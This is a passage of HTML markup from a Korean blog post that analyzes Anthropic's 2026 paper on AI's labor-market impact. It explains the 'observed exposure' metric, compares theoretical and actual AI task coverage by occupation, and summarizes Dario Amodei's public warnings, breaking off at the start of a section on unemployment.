&lt;li&gt;직군별 이론적 역량 vs 실제 커버리지&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;가장 안전한 직종 vs 가장 위험한 직종
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AI 노출 0% 직종의 공통점&lt;/li&gt;
&lt;li&gt;고노출 직종 종사자 프로필&lt;/li&gt;
&lt;li&gt;통념을 뒤집는 데이터&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;젊은 층에게 더 가혹한 이유
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;22~25세 채용 감소 데이터&lt;/li&gt;
&lt;li&gt;&quot;학습 기회의 박탈&quot; 문제&lt;/li&gt;
&lt;li&gt;기업 리더들의 발언&lt;/li&gt;
&lt;li&gt;Klarna 사례&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;한국 노동시장에서의 의미
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;한국에서 특히 주목해야 할 직종&lt;/li&gt;
&lt;li&gt;한국만의 특수한 상황&lt;/li&gt;
&lt;li&gt;산업별 AI 도입 현황&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;어떻게 준비해야 하나 -- 실질적 조언
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;전략 1: AI 도구 숙련&lt;/li&gt;
&lt;li&gt;전략 2: 고차원 판단 영역으로 이동&lt;/li&gt;
&lt;li&gt;전략 3: 물리적 + 지적 복합 역량&lt;/li&gt;
&lt;li&gt;전략 4: 경력 포트폴리오 다각화&lt;/li&gt;
&lt;li&gt;전략 5: AI 감독자 역할&lt;/li&gt;
&lt;li&gt;직종별 실행 로드맵&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;커뮤니티 반응 (Reddit / X / Hacker News)
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Hacker News 핵심 토론&lt;/li&gt;
&lt;li&gt;X(Twitter) / Reddit 반응&lt;/li&gt;
&lt;li&gt;개발자 커뮤니티의 체감&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;마치며
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 보고서를 한 장으로 요약하면&lt;/li&gt;
&lt;li&gt;핵심 수치 정리표&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- ============================================ --&gt; &lt;!-- 1. Anthropic이 AI 위험을 경고하는 아이러니 --&gt; &lt;!-- ============================================ --&gt;
&lt;h2 style=&quot;color: #1a3a52; font-size: 24px; margin-top: 50px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff;&quot; data-ke-size=&quot;size26&quot;&gt;1. Anthropic이 AI 위험을 경고하는 아이러니&lt;/h2&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;AI 회사가 스스로 경고하는 이유&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;담배 회사가 &quot;흡연은 폐암을 유발합니다&quot;라고 말하는 것과 비슷한 상황이다. &lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;Claude를 만드는 Anthropic이, AI가 일자리를 위협&lt;/span&gt;할 수 있다는 논문을 자체적으로 발표&lt;/b&gt;했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 논문의 저자는 Anthropic 소속 경제학자 &lt;b&gt;Maxim Massenkoff&lt;/b&gt;와 &lt;b&gt;Peter McCrory&lt;/b&gt;다. 두 사람은 Claude의 실제 업무 사용 데이터를 분석하여 AI가 어떤 직종에 어느 정도 영향을 미치고 있는지를 측정하는 새로운 프레임워크를 제시했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;왜 이런 연구를 공개했을까? 몇 가지 해석이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;책임 있는 AI 개발(Responsible AI)&lt;/b&gt;이라는 Anthropic의 브랜드 정체성 -- Anthropic은 설립 초기부터 &quot;AI 안전&quot;을 핵심 가치로 내세워 왔다. 자사 제품이 초래할 수 있는 사회적 영향을 먼저 연구하고 공개하는 것은 그 연장선이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;규제 프레이밍 선점&lt;/b&gt; -- AI 노동시장 규제가 불가피한 상황에서, 업계가 먼저 데이터를 제시하면 정책 논의의 방향을 잡을 수 있다. &quot;우리가 직접 측정 도구를 만들었다&quot;는 메시지는, 외부에서 불투명한 기준으로 규제를 만드는 것보다 업계에 유리한 환경을 조성할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;투명성이 곧 신뢰&lt;/b&gt; -- &quot;우리 제품이 뭘 할 수 있고, 실제로 뭘 하고 있는지 숨기지 않겠다&quot;는 메시지는, 역설적으로 기업 고객의 신뢰를 높인다. B2B 시장에서 &quot;AI 도입 시 고용 영향을 객관적으로 측정할 수 있다&quot;는 것은 강력한 영업 포인트가 된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;학계와의 가교&lt;/b&gt; -- 경제학 연구자들이 AI 일자리 영향을 연구할 때 Anthropic의 프레임워크를 사용하게 되면, 학술적 영향력도 확보할 수 있다. 실제로 이 논문은 실사용 데이터를 활용한 최초의 대규모 연구라는 점에서 학계의 주목을 받았다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Anthropic은 어떤 회사인가&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 보고서의 의미를 이해하려면, Anthropic이라는 회사의 배경을 알아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Anthropic은 2021년에 설립된 AI 안전 연구 회사다. OpenAI 출신의 Dario Amodei(CEO)와 Daniela Amodei(사장)가 공동 설립했다. 두 사람은 OpenAI에서 GPT 시리즈 개발에 참여했지만, AI 안전에 대한 접근 방식의 차이로 독립했다. Anthropic의 핵심 제품은 AI 어시스턴트 Claude다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Anthropic이 다른 AI 회사와 구별되는 가장 큰 특징은 &lt;b&gt;&quot;Constitutional AI(헌법적 AI)&quot;&lt;/b&gt;라는 자체 안전 프레임워크다. AI가 스스로 자신의 출력을 검열하고 수정하는 메커니즘인데, 이런 &quot;안전 우선&quot; 철학이 이번 노동시장 보고서에도 반영되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;중요한 점은, Anthropic이 단순한 연구 기관이 아니라 &lt;b&gt;연 매출이 수십억 달러에 달하는 상업적 AI 회사&lt;/b&gt;라는 것이다. Claude는 현재 전 세계적으로 기업과 개인 모두 활발하게 사용하고 있으며, 이번 연구에 사용된 &quot;Anthropic Economic Index&quot; 데이터도 바로 이 Claude의 실사용 데이터에서 나온 것이다. 자사 제품의 사용 패턴을 분석하여 &quot;이 제품이 사회에 어떤 영향을 미치고 있는가&quot;를 연구했다는 점에서, 데이터의 신뢰도와 한계를 동시에 내포하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;Dario Amodei CEO의 발언 타임라인&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 논문은 갑자기 나온 게 아니다. Anthropic CEO Dario Amodei는 이미 여러 차례 강한 경고를 해왔다. 발언의 강도가 시간이 갈수록 높아지고 있다는 점이 눈에 띈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px 25px; border-radius: 10px; border-left: 4px solid #6c757d; margin: 15px 0 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;Dario Amodei 주요 발언 타임라인&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2025년 5월 (Axios 인터뷰)&lt;/b&gt;: &quot;AI가 1~5년 내에 초급 화이트칼라 일자리의 50%를 파괴할 수 있다&quot;고 발언. 실업률이 10~20%까지 치솟을 가능성도 언급. Axios는 이를 &quot;화이트칼라 대학살(white-collar bloodbath)&quot;이라는 표현으로 보도.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2026년 1월 (에세이 발표)&lt;/b&gt;: 약 2만 단어 분량의 글에서 &quot;AI 발전 속도가 이전 기술 혁명보다 훨씬 빠르기 때문에, 사람들이 적응하기 어렵다&quot;고 경고. AI가 노동시장에 &quot;유례없이 고통스러운(unusually painful)&quot; 단기적 충격을 가져올 것이라 서술. &quot;AI의 위험이 충분히 심각하게 받아들여지지 않고 있다&quot;는 것이 핵심 메시지.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2026년 1월 (다보스 포럼)&lt;/b&gt;: 같은 메시지를 반복. 단, Fortune 보도에 따르면 다보스에 참석한 다른 CEO들은 &quot;Amodei가 너무 비관적&quot;이라고 반박. AI가 일자리를 빼앗는 속도가 Amodei의 예측만큼 빠르지 않을 것이라는 시각.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2026년 1월 (CNBC 인터뷰)&lt;/b&gt;: &quot;AI 발전의 속도가 이전 기술 혁명보다 훨씬 빠르다. 이 변화의 속도에 사람들이 적응하기 어렵다(It is hard for people to adapt to this pace of change)&quot;고 발언.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;2026년 3월 5일 (보고서 발표)&lt;/b&gt;: CEO의 경고를 데이터로 뒷받침하는 논문 공개. &quot;조기 경보 시스템&quot;이라는 프레이밍으로, 아직 대량 실업은 아니지만 감시가 필요하다는 신중한 입장.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 13px; color: #888;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: Axios 2025.05.28, Fortune 2026.01.27, CNBC 2026.01.27, Anthropic Research 2026.03.05)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;CEO가 수개월간 &quot;대규모 일자리 충격이 올 수 있다&quot;고 경고하고, 연구팀이 데이터로 뒷받침하는 논문을 내놓은 것이다. 단순한 마케팅이 아니라, Anthropic 내부에서 상당한 수준의 위기 인식이 있다는 뜻으로 읽힌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;물론 냉소적인 해석도 가능하다. &quot;AI가 위험하다고 경고하면서, 동시에 AI를 판매한다&quot;는 모순은 분명 존재한다. 하지만 그 모순이 보고서 자체의 데이터 가치를 부정하지는 않는다. 어떤 동기에서 연구했든, 데이터가 말하는 바는 별개로 판단해야 한다.&lt;/p&gt;
&lt;!-- ============================================ --&gt; &lt;!-- 2. 보고서 핵심 발견 --&gt; &lt;!-- ============================================ --&gt;
&lt;h2 style=&quot;color: #1a3a52; font-size: 24px; margin-top: 50px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 보고서 핵심 발견 -- 무엇이 달라졌나&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&quot;관측된 노출(Observed Exposure)&quot; : 새로운 측정 방식&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;기존 AI 고용 영향 연구들은 대부분 &lt;b&gt;&quot;이론적으로 AI가 이 업무를 할 수 있는가?&quot;&lt;/b&gt;만 물었다. 대표적인 것이 2023년 OpenAI 연구진(Eloundou et al.)의 논문인데, 각 업무에 대해 &quot;LLM이 처리할 수 있는가?&quot;를 전문가 판단으로 평가한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 접근법의 문제는 명확하다. &lt;b&gt;이론적으로 가능하다고 해서 실제로 대체되고 있는 건 아니기 때문이다.&lt;/b&gt; 자율주행이 기술적으로 가능하다고 해서 택시 기사가 당장 사라지지 않는 것과 같은 논리다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Massenkoff와 McCrory는 여기서 한 발 나아가 &lt;b&gt;&quot;관측된 노출(Observed Exposure)&quot;&lt;/b&gt;이라는 새 지표를 제시했다. 핵심 질문이 바뀐 것이다: &quot;AI가 할 수 있는가?&quot;에서 &lt;b&gt;&quot;AI가 실제로 하고 있는가?&quot;&lt;/b&gt;로.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;측정 방법론 상세&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 지표는 세 가지 데이터를 결합한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 15px 0 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;Observed Exposure 지표의 3가지 데이터 소스&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2.0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;O*NET 직업 데이터베이스&lt;/b&gt; -- 미국 약 800개 직종별 업무(Task) 목록. 예를 들어 &quot;소프트웨어 개발자&quot;라는 직종에는 &quot;코드 작성&quot;, &quot;버그 수정&quot;, &quot;코드 리뷰&quot;, &quot;시스템 설계&quot;, &quot;문서 작성&quot; 등 수십 개의 세부 업무가 정의되어 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Anthropic Economic Index 사용 데이터&lt;/b&gt; -- Claude가 실제 업무 환경에서 어떤 작업에 얼마나 활용되고 있는지를 측정한 실사용 데이터. 이 데이터의 핵심은 &quot;업무 관련(work-related)&quot; 사용과 &quot;자동화 패턴(automated implementation patterns)&quot;을 구분한다는 점이다. 단순히 Claude에게 질문하는 것과, Claude가 실제 업무를 대행하는 것을 구분한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Eloundou et al.(2023) 업무별 노출 점수&lt;/b&gt; -- 각 업무에 대해 LLM이 수행 가능한 수준을 3단계로 평가한 학술 데이터: 1(LLM 단독 수행 가능), 0.5(보조 도구와 함께 수행 가능), 0(수행 불가능)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 세 가지를 결합하면, 각 직종에 대해 &lt;b&gt;&quot;이론적으로 AI가 커버할 수 있는 업무 비율(Feasible Exposure)&quot;&lt;/b&gt;과 &lt;b&gt;&quot;실제로 AI가 커버하고 있는 업무 비율(Observed Exposure)&quot;&lt;/b&gt;을 동시에 산출할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px 25px; border-radius: 10px; border-left: 4px solid #6c757d; margin: 15px 0 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;방법론의 한계&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;이 측정 방식에는 내재적 한계가 있다. 첫째, Claude 사용 데이터만 반영하므로 ChatGPT, Gemini 등 다른 AI 도구의 사용은 빠져 있다. 실제 AI 노출은 이 보고서의 수치보다 높을 수 있다. 둘째, 미국 시장 중심이므로 다른 나라에 직접 적용하기 어렵다. 셋째, &quot;자동화(automation)&quot; 패턴을 탐지하는 기준이 완벽하지 않을 수 있다. 연구진도 이 한계를 논문에서 인정하고 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;핵심은 &lt;b&gt;&quot;AI가 할 수 있는 것(feasible)&quot;과 &quot;AI가 실제로 하고 있는 것(observed)&quot;의 간극&lt;/b&gt;을 측정했다는 점이다. 이 간극이 이 논문의 가장 중요한 발견이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;이론적 가능성 vs 실제 채택의 거대한 간극&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;숫자로만 보자.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: left; font-weight: bold; color: #1a3a52;&quot;&gt;직군&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #1a3a52;&quot;&gt;이론적 역량&lt;br /&gt;(Feasible)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #1a3a52;&quot;&gt;실제 커버리지&lt;br /&gt;(Observed)&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #1a3a52;&quot;&gt;간극&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; font-weight: bold; color: #1a3a52;&quot;&gt;해석&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;컴퓨터/수학 직군&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold;&quot;&gt;94%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;33%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;61%p&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; font-size: 14px;&quot;&gt;현재 1/3만 실현. 나머지 2/3는 잠재적 자동화 가능 영역&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;사무/행정 직군&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold;&quot;&gt;90%&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;일부분&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;대부분 미실현&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; font-size: 14px;&quot;&gt;이론적으로 거의 대부분 자동화 가능하나 채택이 매우 느림&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;경영/금융 직군&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;일부분&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;상당&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; font-size: 14px;&quot;&gt;규제와 신뢰 문제로 채택이 제한적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;법률 직군&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center; color: #ee2323; font-weight: bold;&quot;&gt;높음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;일부분&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;상당&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; font-size: 14px;&quot;&gt;법적 책임 문제로 AI 단독 의사결정 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px;&quot;&gt;물리적 노동 직군&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;낮음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;0%에 근접&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; text-align: center;&quot;&gt;해당 없음&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 12px 15px; font-size: 14px;&quot;&gt;LLM 기술로는 물리적 업무 대체 불가&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-top: -15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: Anthropic Research, &quot;Labor market impacts of AI&quot;, 2026.03.05 / Fortune 보도)&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;컴퓨터/수학 직군의 경우, LLM이 이론적으로 업무의 &lt;b&gt;94%를 처리할 수 있지만, 실제로 Claude가 커버하고 있는 비율은 33%&lt;/b&gt;에 불과하다. 이 숫자의 의미를 곱씹어 보자. 94%와 33%의 간극인 61%p가 &lt;b&gt;&quot;아직 실현되지 않았지만, 기술적으로 실현 가능한 자동화 영역&quot;&lt;/b&gt;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;이 간극의 원인을 연구진은 다음과 같이 분석했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0; line-height: 2.0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;법적/규제적 제약&lt;/b&gt; -- 의료, 금융, 법률 분야에서 AI 의사결정에 대한 규제가 강하다. AI가 환자 기록을 정리할 수 있어도, 최종 의료 판단은 의사만 할 수 있다. AI가 투자 분석을 할 수 있어도, 고객에게 투자 조언을 하려면 인간 자문역이 필요하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;기술적 한계&lt;/b&gt; -- 모델의 할루시네이션(환각, 사실이 아닌 내용을 생성하는 현상), 복잡한 다단계 추론 실패, 최신 정보 반영 지연 등이 여전히 실무 적용의 장벽이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보조 도구 필요&lt;/b&gt; -- LLM 단독으로는 불가능하고, 코드 에디터, 데이터베이스, API 등 추가 소프트웨어와 연동되어야 하는 작업이 많다. 에이전트(Agent) 기술이 이 간극을 좁히고 있지만, 아직 초기 단계다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;인간 검토 필수&lt;/b&gt; -- AI 결과물을 사람이 검수해야 하는 업무 프로세스가 대부분의 조직에 남아 있다. &quot;AI가 작성한 코드를 사람이 리뷰한다&quot;는 프로세스 자체가, 완전 자동화를 막는 요인이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;채택 관성&lt;/b&gt; -- 조직이 새 기술을 도입하는 데 걸리는 시간. 기술이 있다고 바로 도입하는 게 아니다. 교육, 프로세스 재설계, 보안 검토, 경영진 승인 등 여러 단계를 거쳐야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;노동자의 저항&lt;/b&gt; -- 자동화에 대한 노동자의 반발도 채택을 늦추는 요인이다. 특히 노조가 강한 업종에서는 AI 도입이 협상 대상이 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 20px; border-radius: 12px; border-left: 4px solid #ffc107; margin: 15px 0 25px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;핵심 해석&lt;/b&gt;&lt;br /&gt;지금은 &quot;이론 94% vs 현실 33%&quot;라는 간극이 우리를 보호하고 있다. 하지만 이 간극이 좁혀지는 속도가 핵심이다. AI 기술이 급속히 발전하고, 기업들의 비용 절감 압력이 커지면, 이 33%는 빠르게 상승할 수 있다. 에이전트(Agent) 기술이 성숙하고, 규제가 완화되고, 조직의 AI 친화도가 높아지면 -- 이 세 가지가 동시에 진행될 때 -- 화이트칼라 고용 시장에 본격적인 충격이 올 수 있다. 논문은 이것을 &lt;b&gt;&quot;아직 폭풍 전야&quot;&lt;/b&gt;라는 뉘앙스로 서술하고 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #1a3a52; font-size: 20px; margin-top: 30px;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;아직 대량 실업은 아니다, 그러나...&lt;/b&gt;&lt;/h3&gt;
